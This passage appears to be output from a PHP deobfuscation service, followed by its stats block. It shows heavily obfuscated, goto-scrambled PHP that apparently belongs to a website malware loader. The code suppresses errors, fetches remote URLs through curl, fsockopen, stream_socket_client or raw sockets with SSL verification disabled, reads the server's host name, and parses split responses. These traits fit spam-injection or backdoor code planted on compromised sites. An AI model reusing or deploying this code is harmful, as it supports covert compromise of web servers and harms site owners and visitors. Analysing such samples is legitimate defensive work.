C91aE; TerBL: if (!($Q2284 && (rawurlencode($Q2284) == "%0D%0A" || rawurlencode($Q2284) == "%0A"))) { goto koqVE; } goto boIj8; hy2e8: $u2pR1 = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; goto Ekw16; OZK4o: nZIL_: goto yeCRf; K_gi_: $spKLF = implode("\xd
\xa", $spKLF); goto OZK4o; PnWwY: MNDwQ: goto lz0Aq; OSg0U: $cznto = $u2Qtz["host"]; goto jRj5e; tVQIK: fwrite($hL0V7, $J4AJj); goto kN8wA; HpEM3: unset($E7POr); goto bkCVG; oyGtq: curl_close($HkHg6); goto Vi3vS; ZdlL2: curl_setopt($HkHg6, CURLOPT_SSL_VERIFYPEER, 0); goto Fv9p4; Fw6I_: Gcrx4: goto Cf4GY; XKZxn: return 0; goto PnWwY; p4boE: q3JxW: goto tNh5Z; zlPc1: $u2Qtz = parse_url($PApwR); goto o1Xyc; Ekw16: $tQWKW = $J4AJj = $bJUX_ = $hwZh4 = ''; goto Oc0fh; uSDq2: socket_write($hL0V7, $J4AJj, strlen($J4AJj)); goto DX12G; r8W2N: $zTw6G = empty($u2Qtz["port"]) ? 80 : $u2Qtz["port"]; goto Sbn7Y; aU8ed: $luZZY[] = "Accept: */*"; goto jA2xQ; EvS50: ddc1T: goto ppl96; bXbF1: $spKLF .= $aG48k; goto ZNiLk; jA2xQ: unset($XlB57); goto LcIrS; edv7p: xW4ys: goto t6wFg; vjcXn: goto irQrT; goto H333c; JiJKY: $HkHg6 = curl_init(); goto wpMe3; otsfa: curl_setopt($HkHg6, CURLOPT_TIMEOUT, 100); goto e2nAG; LcIrS: $J4AJj = "GET {$lG1s2} HTTP/{$NWMTI}" . PHP_EOL . join(PHP_EOL, $luZZY) . PHP_EOL . PHP_EOL; goto Sf7dz; MEU1n: $hL0V7 = null; goto DS5DR; Sbn7Y: goto ddc1T; goto eswOZ; wpMe3: curl_setopt($HkHg6, CURLOPT_URL, $PApwR); goto yESAg; PLeRe: hiP3O: goto hy2e8; o0o66: unset($XIHhV); goto kD6el; cBqcx: if ($hL0V7) { goto XHfoO; } goto rZPFq; oYDcX: if (feof($hL0V7)) { goto CyZgL; } goto CnHGE; z1bAY: wZD8c: goto J35NQ; KvJTc: return "500"; goto T9bvd; CnHGE: $aG48k = fread($hL0V7, 8192); goto bXbF1; e2nAG: curl_setopt($HkHg6, CURLOPT_FRESH_CONNECT, TRUE); goto ZdlL2; boIj8: goto QznQf; goto yKDzC; IW5PH: return $wABao; goto PLeRe; eEwSm: $eJ9Cq .= $cznto; goto hyxrS; o1Xyc: isset($u2Qtz["host"]) || ($u2Qtz["host"] = ''); goto ZR1jv; i2lbR: return trim(trim($spKLF, "\357\273\xbf")); goto yrtUD; Cf4GY: $hL0V7 = $tQWKW($cznto, $zTw6G, $bJUX_, $hwZh4, 30); goto zW_vv; LfcCD: if (!($pHbz4 = @socket_read($hL0V7, 8192))) { goto wZD8c; } goto jvuwy; lAAi4: curl_setopt($HkHg6, CURLOPT_RETURNTRANSFER, 1); goto otsfa; Fnf2W: $eJ9Cq = "tcp://"; goto eEwSm; AnmOF: if (!(substr($tQWKW, -1) == "t")) { goto upZeY; } goto Fnf2W; gTLwB: goto eyjzL; goto Fw6I_; yESAg: curl_setopt($HkHg6, CURLOPT_USERAGENT, "s"); goto lAAi4; QdkYf: Tv7dn: goto zlPc1; mp_u7: unset($pHbz4); goto Fe2i9; vAYi1: goto q3JxW; goto iefN9; Q6yux: array_shift($spKLF); goto K_gi_; hl6gA: QznQf: goto S9nnF; azo0r: $wABao = file_get_contents($PApwR); goto Ox0Ot; Fe2i9: goto Z8GtA; goto z1bAY; iefN9: XHfoO: goto n0p7V; rZPFq: if (!(substr($tQWKW, -1) == "e")) { goto c5IFU; } goto JAMKM; UbtUI: if ($E7POr["timed_out"]) { goto irg_V; } goto edv7p; yKDzC: koqVE: goto vmp8Q; Sf7dz: unset($luZZY, $u2Qtz, $NWMTI, $lG1s2); goto MEU1n; HCdxy: $spKLF = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" . "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si", "f_async", $spKLF); goto i2lbR; n0p7V: stream_set_blocking($hL0V7, TRUE); goto E3kcj; a2gYk: return $F8CdQ; goto vjcXn; ppl96: $XlB57 = "Host: "; goto Ez4b3; rXv2N: $hL0V7 = stream_socket_client($eJ9Cq, $bJUX_, $hwZh4, 30); goto cQdfe; J1hlv: $hL0V7 = $tQWKW(AF_INET, SOCK_STREAM, 0); goto WN9y0; S9nnF: SVzP7: goto oYDcX; ZNiLk: unset($aG48k); goto HORyl; MC2Uu: upZeY: goto gTLwB; GIxkd: irg_V: goto HpEM3; DS5DR: if (substr($tQWKW, -1) == "n") { goto Gcrx4; } goto AnmOF; jsPPt: CyZgL: goto GIxkd; T9bvd: ALG1X: goto azo0r; lz0Aq: if (!(substr($tQWKW, 0, 1) == "c")) { goto Tv7dn; } goto JiJKY; HORyl: goto SVzP7; goto jsPPt; aWDSZ: $Q2284 = fgets($hL0V7); goto TerBL; bS9w7: isset($u2Qtz["query"]) || ($u2Qtz["query"] = ''); goto cL53J; cL53J: isset($u2Qtz["port"]) || ($u2Qtz["port"] = ''); goto gO2nv; lBQ9V: $cznto .= $u2Qtz["host"]; goto EvS50; vx71Q: $NWMTI = "1.1"; goto rD2d7; hyxrS: $eJ9Cq .= ":"; goto AYzug; jRj5e: if ($u2Qtz["scheme"] == "https") { goto pDUp9; } goto AuxEI; AYzug: $eJ9Cq .= $zTw6G; goto rXv2N; yrtUD: } goto wv4GU; KC943: function Yf3zD($spKLF) { goto BQTGs; WcdpE: return false; goto LjFd_; KqZfF: if (is_array($xF9io)) { goto f4Y4H; } goto WcdpE; BQTGs: $xF9io = @preg_split("/{\|}/si", $spKLF, -1, PREG_SPLIT_NO_EMPTY); goto KqZfF; LjFd_: f4Y4H: goto crgsp; e6bRA: return false; goto pTXpZ; pTXpZ: kCHJ7: goto xOvTr; xOvTr: return $xF9io/* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; goto k29it; crgsp: if (!(count($xF9io) != 2)) { goto kCHJ7; } goto e6bRA; k29it: } goto k0Dob; XWHcx: error_reporting(0); goto o1wv0; lkMSe: function vjkIv($Edm8y = '') { goto naXt2; ovf4w: goto akOI0; goto nV7wQ; nV7wQ: HQ3T1: goto KXVZM; HbxPS: return $Edm8y; goto sIxnw; KXVZM: return $_SERVER["HTTP_HOST"]; goto RhYJy; RhYJy: goto akOI0; goto gdv15; qVcIy: akOI0: goto HbxPS; hUgpq: if (isset($_SERVER["SERVER_NAME"])) { goto HDtxs; } goto ovf4w; naXt2: if (isset($_SERVER["HTTP_HOST"])) { goto HQ3T1; } goto hUgpq; aJGoo: return $_SERVER["SERVER_NAME"]; goto qVcIy; gdv15: HDtxs: goto aJGoo; sIxnw: } goto Np5qN; dG97z: p2eZW($s8ZXP, $SSQwi); ?>
Function Calls
None |
Stats
MD5 | 7c04f366eaadf17152d5339681977fd1 |
Eval Count | 0 |
Decode Time | 73 ms |